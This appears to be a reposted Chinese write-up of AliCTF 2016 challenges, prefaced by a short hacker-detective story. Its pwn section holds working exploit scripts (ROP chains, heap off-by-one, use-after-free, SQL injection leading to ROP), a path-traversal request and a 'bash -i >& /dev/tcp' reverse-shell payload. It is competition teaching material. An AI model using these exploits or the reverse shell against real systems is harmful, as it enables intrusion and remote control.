AliCTF 2016 Writup

WBOY
Release: 2016-06-23 13:01:31
Original
2182 people have browsed it

「这边的犯人已经全部抓获,主机还在运行,已经把数据都拷贝出来。」塞拉靠在窗边,右手扶着耳朵上的麦克风,松了一口气说道。

这次抓获的犯罪嫌疑人,主要靠运营*网站获利。抓捕前,塞拉凭借自己的黑客能力结合社会工程学,反入侵到了其中一名犯罪嫌疑人的电脑上,在监视对方电脑有一段时间没操作时,预估对方可能不在电脑旁,迅速通过木马启动了对方电脑的摄像头,拍下了嫌疑人所处环境后,迅速组织警力对这个窝点进行了打击。

回到警局,原以为终于可以放松下,结果突然电脑弹出一封邮件,懒懒地瞄了眼邮件标题【 9.15 网络犯罪调查组成员技术比试通知 】。「**,这种时候还来这种消息,还让不让人休息,再这样下去我找不到男人,都是老大的错。」塞拉双手交叉放在后脑,躺在办公室的沙发上,看着天花板上,叹了口气。不过要是比试能拿下个好名次,就有进入总部直属调查部的机会,就更有可能发现哥哥的踪迹。这场竞技,我一定得拿下。

MISC

coloroverflow

首先感觉这种包名不像是CTF用的,所以直接Google之,发现是Google Play上开源的游戏Color Overflow。于是下载下来进行比对,发现多出了几个类无法匹配上原apk,所以猜测是自己后加的。分别将多出的类分析之后,发现分别是用语发送请求、生成请求和工具类。我将其命名为LogClass、n和Utils。

程序将请求生成之后向log.godric.me发送POST请求,在代码里发现数据发送之前用经过了GZIP压缩。在pcap中,也发现了这个请求,pcap里显示确实有Content-Encoding: gzip。用wireshark导出http数据得到了原始数据。

现在从LogClass往上找,发现GameView$1里的new LogClass().execute(new ByteArrayOutputStream[]{v2.OutputRequestBody()});会调用n中的方法。然后LogClass里的run会发送。

    public ByteArrayOutputStream OutputRequestBody() {        try {            this.output_stream.reset();            f.a(this.output_stream, this.szId);            f.a(this.output_stream, this.CurMill);            f.a(this.output_stream, this.Rand);            f.a(this.output_stream, this.d);            this.output_stream.flush();        }        catch(Exception v0) {            v0.printStackTrace();        }        return this.output_stream;    }
Copy after login

其中d是由要发送的数据进行AES加密后得到的,在GetRequestBody这个方法中。

这部分缓存了要发送的数据。a方法有三个重载,都将输出到缓冲区。分别会先输出对应的类型标志,21、18和24。接下来,字符串类型会字符串长度,然后输出字符串;字节数组会输出一个字节表示长度,然后输出所有字节;长整型会按7位分组然后高位作为结尾标志,每次输出一个字节,高位为0表示结束。

因此我们可以从pcap导出的数据中还原出szId, CurMil, Rand, d。

szId被计算MD5后,摘要作为key(未编码成十六进制字符串),Rand和CurMill进行循环异或得到IV。因此key和IV也可以计算出来。

再来看AES:

            if(i == 0) {                int j;                for(j = 0; j < block_size; ++j) {                    block[j] = ((byte)(padded_input[j] ^ arg13[j]));                }            }            else {                int j;                for(j = 0; j < block_size; ++j) {                    block[j] = ((byte)(padded_input[i * 16 + j] ^ block_out[j]));                }            }            block_out = AES.EncryptBlock(block);            System.arraycopy(block_out, 0, outbuf, i * 16, block_size);
Copy after login

这部分看出,该AES将上一轮的输出和输入进行异或再加密,因此是CBC模式。

还原出IV和key,还有encrypted之后,便可以进行解密。解密出来发现其中包含flag。

szid = 'bb39b07060deabd5'curmill = [0xb9, 0xe8, 0xf3, 0xd3, 0xca, 0x2a]curmill = [i & (~128) for i in curmill]curmill = sum([curmill[i] << (7*i) for i in range(len(curmill))])print curmillrand = '46 51 4b f9 f2 b3 cd 3b f5 80 b7 cd 9b ae 45 14'.split()rand = [int(i, 16) for i in rand]import md5m = md5.md5()m.update(szid)key = m.digest()print 'key', map(ord, key)IV = [(curmill >> (i*8)) & 255 for i in range(8)][::-1]IV = [rand[i] ^ IV[i%8] for i in range(len(rand))]IV = ''.join(map(chr, IV))print 'IV', map(ord, IV)with open('encrypted') as f:    encrypted = f.read()from Crypto.Cipher import AESaes_d = AES.new(key, AES.MODE_CBC, IV)print aes_d.decrypt(encrypted)
Copy after login

PWN

Vss

存在一个栈溢出,输入的第0×48-0×50个字节刚好覆盖返回地址,用ROPgadget找到一个ropchain,由于第0×48-0×50个字节是返回地址,再找一个add rsp ret的gadget增加rsp的地址就可以返回到ropchain

from pwn import *from struct import packp = remote('121.40.56.102', 2333)recv_content = p.recvuntil('Password:\n')p2 = ''p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; retp2 += pack('<Q', 0x00000000006c4080) # @ .datap2 += pack('<Q', 0x000000000046f208) # pop2 rax ; retp2 += '/bin//sh'p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; retp2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; retp2 += pack('<Q', 0x00000000006c4088) # @ .data + 8p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; retp2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; retp2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; retp2 += pack('<Q', 0x00000000006c4080) # @ .datap2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; retp2 += pack('<Q', 0x00000000006c4088) # @ .data + 8p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; retp2 += pack('<Q', 0x00000000006c4088) # @ .data + 8p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045f2a5) # syscall ; retpayload1 = 'py' + 'B' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2p.sendline(payload1)p.interactive()fb教科书一般的off-by-one脚本:#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{FBfbFbfB23666}# switchesDEBUG = 0# modify this'''if DEBUG:    io = process('./fb')else:    io = remote('121.40.56.102',9733)'''if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef menu():return ru('Choice:')def addmsg(length):    menu()    sl('1')    ru(':')    sl(str(length))returndef setmsg(index,content):    menu()    sl('2')    ru(':')    sl(str(index))    ru(':')    sl(content)returndef delmsg(index):    menu()    sl('3')    ru(':')    sl(str(index))returndef leak(addr):if '\x0a' in p64(addr): return '\x00'# :<    setmsg(1, p64(addr) + p32(100))    delmsg(2)    buf = ru('Done').rstrip('Done')if len(buf) == 0:return '\x00'return buf + '\x00'printf = 0x4006E0ptr = 0x6020c0ptr2 = 0x6020e0freegot = 0x602018# define exploit function heredef pwn():if DEBUG: gdb.attach(io)#elf = ELF('./fb')    addmsg(248)    addmsg(240)# xxx    addmsg(256)    addmsg(248)    addmsg(240)    addmsg(256)    addmsg(256)    addmsg(256)    setmsg(7, '%17$p')    payload = ''    payload += p64(0) + p64(0xf1)    payload += p64(ptr-0x18) + p64(ptr-0x10)    payload = payload.ljust(240, '\x00')    payload += p64(0xf0)    setmsg(0,payload)    delmsg(1)    payload2 = p64(0) + p32(0) + p32(16) + p64(0) + p64(freegot) + p64(2000) + p64(0x6020e0) + p32(0x1000)    setmsg(0, payload2)    setmsg(0, p64(printf)[:-1])    delmsg(7)    buf = ru('Done').rstrip('Done').lstrip('0x')    libc_start_main_ret = int(buf, 16)#info('Libc leaked = ' + hex(libc_start_main_ret))    libc = libc_start_main_ret - 0x21f45    system = libc + 0x0000000000046590    setmsg(6, '/bin/sh;')    setmsg(0, p64(system)[:-1])    delmsg(6)    io.interactive()returnif __name__ == '__main__':    io = remote('114.55.103.213',9733)    pwn()    io.close()routersconnect(0,1), connect(1,2)会导致router 0中指针单向指向router 1, 此时delete(1)会导致uaf.脚本:#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{S0rry_F0r_USiNG_CP1uSp1Us_vTaB1es}# switchesDEBUG = 0# libc = 2.19 ubuntu-6.9os.environ["LD_PRELOAD"] = "./libc-x.so"# modify thisif DEBUG:    io = process('./routers')else:    io = remote('114.55.103.213',6565)if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef create_route(t,name):    ru('>')    sl('create router')    ru(':')    sl(t)    ru('name: ')    sl(name)returndef create_terminal(t,name,attached):    ru('>')    sl('create terminal')    ru(':')    sl(attached)    ru(':')    sl(t)    ru(':')    sl(name)returndef delete_router(name):    ru('>')    sl('delete router')    ru(':')    sl(name)returndef connect(name1, name2):    ru('>')    sl('connect')    ru(':')    sl(name1)    ru(':')    sl(name2)returndef disconnect(name):    ru('>')    sl('disconnect')    ru(':')    sl(name)returndef show():    ru('>')    sl('show')return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)# uaf in disconnect    create_route('cisco', '123')    create_route('cisco', 'aaa')    create_route('cisco', 'bbb')    connect('123', 'aaa')    connect('aaa', 'bbb')    delete_router('aaa')    create_terminal('osx','hello','bbb')    show()    ru('to ')    pie = u64(ru('\n')[:-1].ljust(8,'\x00')) - 0x204b30    info('PIE Leaked = ' + hex(pie))    got = pie + 0x204EC8    create_route('cisco', 'b1')    create_route('cisco', 'b2')    create_route('cisco', 'b3')    create_route('cisco', 'b4')    connect('b1','b2')    connect('b2','b3')    delete_router('b2')    delete_router('b4')    payload = 'A'*0x8 + p64(got) + p64(0) + p64(0)[:-1]    create_route('cisco', payload)    show()    ru('to ')    ru('to ')#offset_setvbuf = 0x70670    offset_setvbuf = 0x705a0    libc = u64(ru('\n')[:-1].ljust(8,'\x00')) - offset_setvbuf    info('Libc Leaked = ' + hex(libc))# leak heap address    delete_router(payload)    xxx_vtable = libc + 0x3BE060 - 8    payload2 = p64(xxx_vtable) + p64(pie) + p64(0) + p64(0)[:-1]    create_route('cisco', payload2)    create_route('cisco', 'feeder')    delete_router('feeder')    disconnect('b1')    show()for i in xrange(6): ru('named ')    heap_addr = u64(ru(' ')[:-1].ljust(8,'\x00')) - 0x340    info('Heap addr leaked = ' + hex(heap_addr))# final stage    create_route('cisco', 'c1')    create_route('cisco', 'c2')    create_route('cisco', 'c3')    create_route('cisco', 'c4')    connect('c1', 'c2')    connect('c2', 'c3')    delete_router('c2')    delete_router('c4')    gadget = libc + 0xE4968    payload3 = p64(heap_addr+0x450) + p64(pie) + p64(0) + p64(0)[:-1]    create_route('cisco', payload3)    spray = 7 * p64(gadget)    create_route('cisco', spray)'''    poprdi = libc + 0x0000000000022b9a    system = libc + 0x46590    binsh = libc + 0x17C8C3    ropchain = ''    ropchain += p64(poprdi)    ropchain += p64(binsh)    ropchain += p64(system)    '''    disconnect('c1')    io.interactive()returnif __name__ == '__main__':    pwn()
Copy after login

http

题目是一个http服务器,刚开始没有给binary,经过测试发现,修改http头的请求目录可以导致任意文件读取(e.g.: GET /../../../../../etc/passwd HTTP/1.1), 通过此漏洞读取/proc/self/maps获取binary路径,然后得到二进制文件,分析后发现服务器处理post请求处有漏洞,利用见脚本:

#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{1et's_p14y_with_thr34ds_at_httpd}# switchesDEBUG = 0# modify thisif DEBUG:    io = remote('127.0.0.1', 46962)else:    io = remote('120.26.90.0',42665)if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef sendpost(target, content):    buf = ''    buf += 'POST '    buf += target    buf += ' HTTP/1.1\n'    buf += 'Content-Length: '    buf += str(len(content))    buf += '\n\n'    buf += content    sn(buf)return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)# arbitary file read vuln in httpd# dumping the binary and we find post content is passed to a newly created process, which we can specify#sendpost('/../../../../../../bin/bash', 'ls -la /;exit\n')    sendpost('/../../../../../../bin/bash', 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;exit;\n')# connect back shell    io.interactive()returnif __name__ == '__main__':    pwn()
Copy after login

vvss

sqli + 栈溢出, 利用见脚本:

#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{n0t_VerY_v3ry_secure_py}# switchesDEBUG = 0# modify thisif DEBUG:    io = process('./vvss')else:    io = remote('120.26.120.82',9999)context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef listall():    sl('py')return# select plain, len from keys where qid='%s'def query(param):    buf = 'pz'    buf += param    sl(buf)returndef todo():    buf = 'pi'    sl(buf);return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)#listall()    query("a';insert into keys values (909, hex(fts3_tokenizer('simple')), 'bx', 100);")# use tokenizer to leak address    query("bx")    offset = 0x2b4d80    ru('0')    buf = rn(16)    sqlite_base = u64(buf.decode('hex')) - offset    info('SQLite Base leaked = ' + hex(sqlite_base))    offset2lib = 0x3c5000    libc = sqlite_base - offset2lib    system = libc + 0x46590    binsh = libc + 0x17C8C3    ropchain = ''    ropchain += p64(sqlite_base + 0x0000000000009ef8)    ropchain += p64(binsh)    ropchain += p64(system)    payload = 656 * 'a' + ropchain    query("a';insert into keys values (31337, x'"+payload.encode('hex')+"', 'exx', "+str(len(payload))+");")    query("exx")    io.interactive()returnif __name__ == '__main__':    pwn()
Copy after login

Reverse

Al-Gebra

一个pyinstaller打包的程序。用pyinstxtractor.py解包,然后发现主要文件是pyimod04_builtins,修复文件头之后反编译,获得主程序代码。

主程序从服务器获取了数据和两个函数 add和mul。

保存服务器发来的数据然后修复文件头反编译,得到函数内容。

程序逻辑就是做个矩阵乘法,然后检验结果。但是这里的加法和乘法都被重新定义过了。网上搜了下,发现这玩意好像叫多项式环。

直接对mul函数进行一些测试。发现对于mul(a,x)=b,a<256,b<256,x一定有解。然后在加上异或本身的一些特性,就满足了做方程式化简求解的要求。

然后拍了个高斯消元,注意加和乘的重定义。得解。

alictf{Ne_pleure_pas_Alfred}mat=[[207, 152, 250, 232, 183, 247, 125, 31, 89, 176, 139, 246, 97, 125, 76, 1, 175, 141, 61, 196],[90, 41, 196, 89, 48, 166, 201, 255, 28, 72, 10, 227, 134, 247, 87, 10, 219, 51, 146, 93],[76, 3, 187, 211, 246, 46, 222, 194, 67, 165, 130, 244, 221, 248, 132, 47, 91, 245, 136, 141],[223, 211, 5, 77, 225, 6, 21, 196, 120, 19, 233, 214, 143, 224, 2, 119, 50, 188, 90, 88],[108, 177, 46, 95, 80, 128, 125, 128, 22, 227, 179, 177, 191, 191, 7, 91, 209, 79, 31, 2],[152, 229, 184, 163, 212, 71, 125, 72, 67, 179, 37, 173, 156, 59, 235, 79, 28, 134, 73, 245],[40, 123, 5, 233, 197, 233, 30, 18, 232, 33, 56, 95, 69, 44, 205, 176, 246, 7, 211, 109],[11, 28, 73, 59, 71, 154, 72, 92, 139, 27, 109, 193, 92, 102, 17, 140, 230, 254, 181, 35],[242, 49, 103, 240, 78, 79, 46, 224, 168, 137, 147, 8, 125, 149, 197, 109, 85, 208, 254, 44],[180, 66, 51, 154, 33, 51, 1, 33, 0, 227, 13, 192, 65, 217, 206, 204, 7, 14, 22, 232],[46, 58, 126, 154, 21, 73, 28, 130, 223, 212, 63, 69, 167, 80, 240, 8, 172, 208, 206, 76],[218, 94, 40, 0, 108, 187, 3, 9, 39, 65, 110, 26, 242, 41, 143, 100, 17, 186, 95, 127],[19, 188, 30, 252, 33, 235, 104, 10, 232, 186, 243, 211, 92, 210, 150, 146, 191, 96, 108, 208],[119, 109, 150, 141, 45, 208, 118, 47, 10, 40, 41, 47, 122, 99, 238, 244, 0, 241, 187, 198],[240, 138, 99, 154, 114, 245, 192, 199, 90, 166, 232, 140, 119, 243, 237, 86, 21, 5, 168, 251],[144, 99, 109, 211, 70, 17, 11, 149, 225, 17, 177, 63, 53, 146, 17, 168, 81, 50, 149, 218],[238, 179, 216, 200, 226, 215, 124, 171, 57, 183, 76, 165, 56, 140, 123, 197, 152, 71, 112, 242],[162, 115, 153, 111, 219, 42, 159, 188, 118, 77, 232, 53, 83, 223, 183, 219, 150, 177, 149, 76],[229, 216, 82, 107, 93, 225, 244, 98, 38, 190, 193, 97, 54, 27, 208, 15, 71, 39, 106, 233],[131, 13, 74, 27, 217, 248, 206, 44, 14, 71, 69, 62, 35, 94, 224, 126, 96, 120, 252, 11]]c =[157, 244, 209, 121, 181, 200, 239, 205, 226, 51, 188, 143, 121, 212, 12, 95, 36, 10, 251, 133]length =len(mat[0])def mul_line(i, num):for j inxrange(length):mat[i][j]=mul(mat[i][j], num)c[i]=mul(c[i], num)def swap_line(a, b):tmp =c[a]c[a]=c[b]c[b]= tmptmp =mat[a]mat[a]=mat[b]mat[b]= tmpdef minus_line(src, dest):for i inxrange(length):mat[dest][i]=mat[dest][i] ^ mat[src][i]c[dest]=c[dest] ^ c[src]def minus_row(row, num):for i inxrange(length):mat[i][row] = mat[i][row] ^ numdef print_mat():for i inxrange(length):printmat[i]print""def mul(a, b):r =0while a !=0:if a & 1:r = r ^ bt = b & 128b = b << 1if b & 256:b = (b ^ 215) & 255a = a >> 1return rdef run():lum =[[jfor j inrange(0, 256)]for i inrange(0, 256)]for i inrange(0, 256):for j inrange(0, 256):lum[i][mul(i,j)]= jfor j inxrange(len(mat[0])):# print j# print_mat()end = length -1for i inrange(j, length):if end ==i:#print endbreakifmat[i][j]==0:swap_line(i, end)end -=1# change to 1for i inrange(j, length):ifmat[i][j]==0:breakmul_line(i, lum[mat[i][j]][1])# print_mat()# up minus allfor i inrange(j +1, length):ifmat[i][j]==0:breakminus_line(j, i)# print_mat()ans =[]#print cfor j inrange(length -1, -1, -1):xn=lum[1][c[j]]ans.append(chr(xn))for i inrange(j, -1, -1):c[i] ^= mul(xn, mat[i][j])# print_mat()print"".join(ans[::-1])run()
Copy after login

Timer

逆向so里的函数,然后直接爆破。

代码写炸了,得到一组结果。。然后找到一些比较像flag的一个个试的

alictf{Y0vAr3TimerMa3te7}#include "cstdio"#include "cmath"boolisPrime(int x){if(x<=1)return false;for(int i=2;i<=sqrt(x);i++){if (x%i==0){return false;}}return true;}intfunc(intinput){int v3; // r0@1int v4; // r6@1int v5; // r1@1int v6; // r7@1int v7; // r0@1int v8; // r4@1longlong v9; // r0@2int v10; // r0@2int v11; // r1@2int v12; // r0@2int v13; // r0@2unsigned int v14; // r1@2longlong v15; // r0@2int v16; // r0@2unsigned int v17; // r0@2int v18; // r0@3int v19; // r0@6intv20;// r0@6intv21;// r0@6intv22;// r0@6intv23;// r0@6intv24;// r0@6intv25;// r0@6charv26;// r0@6intresult;// r0@6signed intv29;//[sp+8h][bp-38h]@1int v30; //[sp+Ch][bp-34h]@1charv31[18];//[sp+10h][bp-30h]@1int v32; //[sp+24h][bp-1Ch]@1v29=input;double b1 =input;double b13,b15;v7 = b1/323276.0999999999800;v8 = v7;v31[0]= v8 +v29%100;if ( isPrime((v8+v29%100) & 0xFF) ){v9 = b1/59865.9000000000010;v10 = v9 +21;v12 = v10;v31[1]= v12;b13=v12;b15 = b13 *2.4230000000000;v16 = b15 +1.7;v17 = v16;v31[2]= v17;if ( v17 > 0x6F ){v18 = b1 /24867.4000000000010;v31[3]= v18;}else{returnresult;}v31[13]=51;v31[14]=116;v31[15]=101;v31[16]=55;}else{returnresult;v31[1]=57;v31[2]=67;v31[3]=-120;v31[13]=61;v31[14]=106;v31[15]=111;v31[16]=59;}v31[4]=v31[2]-4;v19 = b1 /31693.7999999999990;v31[5]= (v19);v20= b1/19242.6600000000000;v31[6]=(v20);v21= (b1/15394.1000000000000);v31[7]= (v21);v22= (b1/14829.2000000000010);v31[8]=(v22);v23= (b1/16003.7999999999990);v31[9]= (v23);v24= (b1/14178.7999999999990);v31[10]= (v24);v31[11]=v29/20992;v25= (b1 /16663.7000000000010);v26=(v25);v31[17]=0;v31[12]=v26;for(int i=0;i<17;i++){if(!( (v31[i]>='a' && v31[i]<='z') || (v31[i]>='A' && v31[i]<='Z')  || (v31[i]>='0' && v31[i]<='9')  || v31[i]=='_' )){returnresult;}}printf("%s\n",v31);returnresult;}intmain(intargc,charconst*argv[]){for (int i=20991;i<20991*129;i++){func(i);}return0;}
Copy after login

showmethemoney

c#写的勒索程序,逆向后发现会把id和key发到120.26.120.82:9999。

扫了下120.26.120.82的端口,发现80开着,得到vvss,逆向发现输入py会显示所有数据。得到key,写程序解密即可。

alictf{Black_sh33p_w411}

REact

reactnative的apk,反编译提取出js文件。验证程序分为两个部分。

第一个部分找到关键函数s,提取出判断函数e。

然后调试,发现是矩阵乘法(又是矩阵乘法)。然后提取出数据,求解方程组即可。

第二个部分在java层,通过bridge调用,直接求解即可。

alictf{keep_young_and_staysimple+1s_!}

第一部分

mat=[[11, 32, 31, 0, 10, 10, 6, 18, 10, 17, 16, 5, 12, 9, 26, 13],[0, 31, 15, 28, 2, 30, 18, 20, 12, 7, 12, 25, 13, 7, 11, 22],[13, 27, 8, 17, 7, 1, 17, 7, 21, 29, 8, 31, 31, 16, 28, 26],[13, 27, 20, 19, 12, 16, 0, 4, 16, 4, 21, 9, 11, 8, 24, 0],[17, 5, 25, 13, 14, 14, 29, 2, 24, 21, 27, 5, 20, 23, 22, 14],[6, 0, 20, 13, 24, 30, 25, 5, 32, 7, 15, 10, 6, 20, 27, 18],[18, 28, 11, 31, 4, 16, 30, 24, 22, 7, 4, 19, 18, 11, 12, 27],[2, 23, 1, 23, 10, 12, 28, 14, 19, 3, 13, 29, 27, 9, 3, 22],[27, 30, 32, 8, 24, 11, 12, 7, 12, 26, 27, 0, 1, 32, 14, 25],[28, 8, 17, 10, 9, 9, 18, 16, 16, 24, 19, 25, 22, 30, 24, 10],[24, 0, 30, 10, 19, 20, 3, 25, 1, 17, 23, 25, 5, 16, 7, 16],[20, 1, 19, 21, 23, 27, 15, 5, 32, 30, 1, 20, 3, 28, 15, 12],[15, 16, 26, 9, 29, 25, 11, 10, 21, 6, 16, 12, 23, 21, 31, 32],[10, 1, 18, 27, 11, 6, 4, 23, 9, 8, 17, 31, 18, 22, 2, 16],[11, 16, 23, 28, 10, 10, 19, 10, 10, 4, 12, 1, 0, 15, 14, 5],[2, 18, 24, 26, 23, 22, 30, 18, 18, 6, 0, 20, 17, 12, 23, 1]]
Copy after login

整天想搞大新闻,吃枣药丸

c=[25434,19549,19765,28025,27015,23139,26935,29052,20005,25636,25317,26852,20113,24424,22495,22055]第二部分ans=[0x0e,0x1d,0x06,0x19,ord('+'),0x1c,0x0b,0x10,0x16,0x04,ord('6'),0x15,0x0b,0x0,ord(':'),0x0b]key='excited'output=""for i inxrange(len(ans)):output+=chr(ord(key[i%7])^ans[i])print output
Copy after login

LoopAndLoop

用ida调试发现check方法调用chec,会自动调用到check1,第一个参数被传递下去,第二个参数被减一后传递到check1。check1里调用chec函数同理地调用check2,check2里的chec调用check3,check3里的chec调用check1。如此递归下去,发现当第二个参数为1的时候,chec会直接返回参数一的值,也就是递归的边界。估计native的chec函数只起这样的作用,因此不需要逆向liblhm.so了。check1和check3都是加上一个数,check2根据第二个参数的奇偶决定是加上还是删除一个数。因此从最后的检查条件1835996258往前推99步就能推出正确的输入。

from ctypes import *SA = sum(range(100))SB = sum(range(1000))SC = sum(range(10000))S0 = 1835996258for i in range(1, 99):    if i % 3 == 0:        S0 = c_int(S0-SC).value    if i % 3 == 2:        S0 = c_int(S0-SA).value    if i % 3 == 1:        if i % 2 == 0:            S0 = c_int(S0-SB).value        else:            S0 = c_int(S0+SB).valueprint S0print hex(S0)for i in range(98, 0, -1):    if i % 3 == 0:        S0 = c_int(S0+SC).value    if i % 3 == 2:        S0 = c_int(S0+SA).value    if i % 3 == 1:        if i % 2 == 0:            S0 = c_int(S0+SB).value        else:            S0 = c_int(S0-SB).value    print hex(S0)print S0
Copy after login

Debug

debug blocker反调试,程序的验证步骤:

1.验证flag的长度是否为32,格式为[a-z0-9]+

2.把每两个字符的16进制字符串转换为整数,这一步会导致多解

3.每4个字节倒置

4.每8个字节做128轮的TEA加密,key为’3322110077665544BBAA9988FFEEDDCC’

5.最后把加密后的16个字节与0×31异或后与一个给定的字节数组比较

Uplycode

好多的自解密。。。程序的验证步骤:

1.flag开头是否为alictf{,把末尾的}改为空字节

2.验证第8-9字节,直接爆破得到为Pr

3.验证10-13字节,直接爆破得到为0bl3,我好暴力。。。

4.用13字节异或14字节的值解密接下来的验证函数,根据之前的规律知道自解密出来的第一个字节为0×55,因此14字节为M

5.对第14字节到最后的字节(不包括{)计算MD5值与35faf651b1a72022e8ddfed1caf7c45f比较

6.验证第19字节到最后的字节(不包括{)是否为A1w4ys_H3re,因此爆破第15-18字节就可以得到flag

xxFileSystem2

在队友们的帮助下做出的,xxdisk.bin的开头20000个字节是一个使用表,0表示未使用,1表示已使用,文件系统中的文件的开头第1-4个字节为在使用表中的索引值,第5-8个字节为FFFFFFFF,之后每4个字节是文件分块的索引值,一共22块,之后四字节是文件块使用的标记,再之后4字节是文件大小,跳过4字节之后是文件名,删除文件时会把使用表对应索引的值设为0,通过这个规则可以遍历xxdisk.bin,找到了1000多个删除的文件,输出文件名发现一个奇怪的555文件,然后抽取出555文件的内容

file = open('xxdisk.bin', 'rb')data = file.read()out = open('extract', 'wb')out.write(data[0x5024+(0x333<<9):0x5024+(0x333<<9)+512])out.write(data[0x5024+(0x32c<<9):0x5024+(0x32c<<9)+512])out.write(data[0x5024+(0x32d<<9):0x5024+(0x32d<<9)+512])out.write(data[0x5024+(0x324<<9):0x5024+(0x324<<9)+512])out.write(data[0x5024+(0x325<<9):0x5024+(0x325<<9)+512])out.write(data[0x5024+(0x326<<9):0x5024+(0x326<<9)+512])out.close()
Copy after login

抽取出来之后是一个压缩包,然而在ubuntu下怎么都解压不了,然后队友把它丢到windows中用winrar一下就解压出来了,在解压出来的文件中得到flag

Web

Find password

根据题目信息,大意就是让我们去找HHHH这个用户的密码,注册时候发现任意注册HHHH,登陆进去:

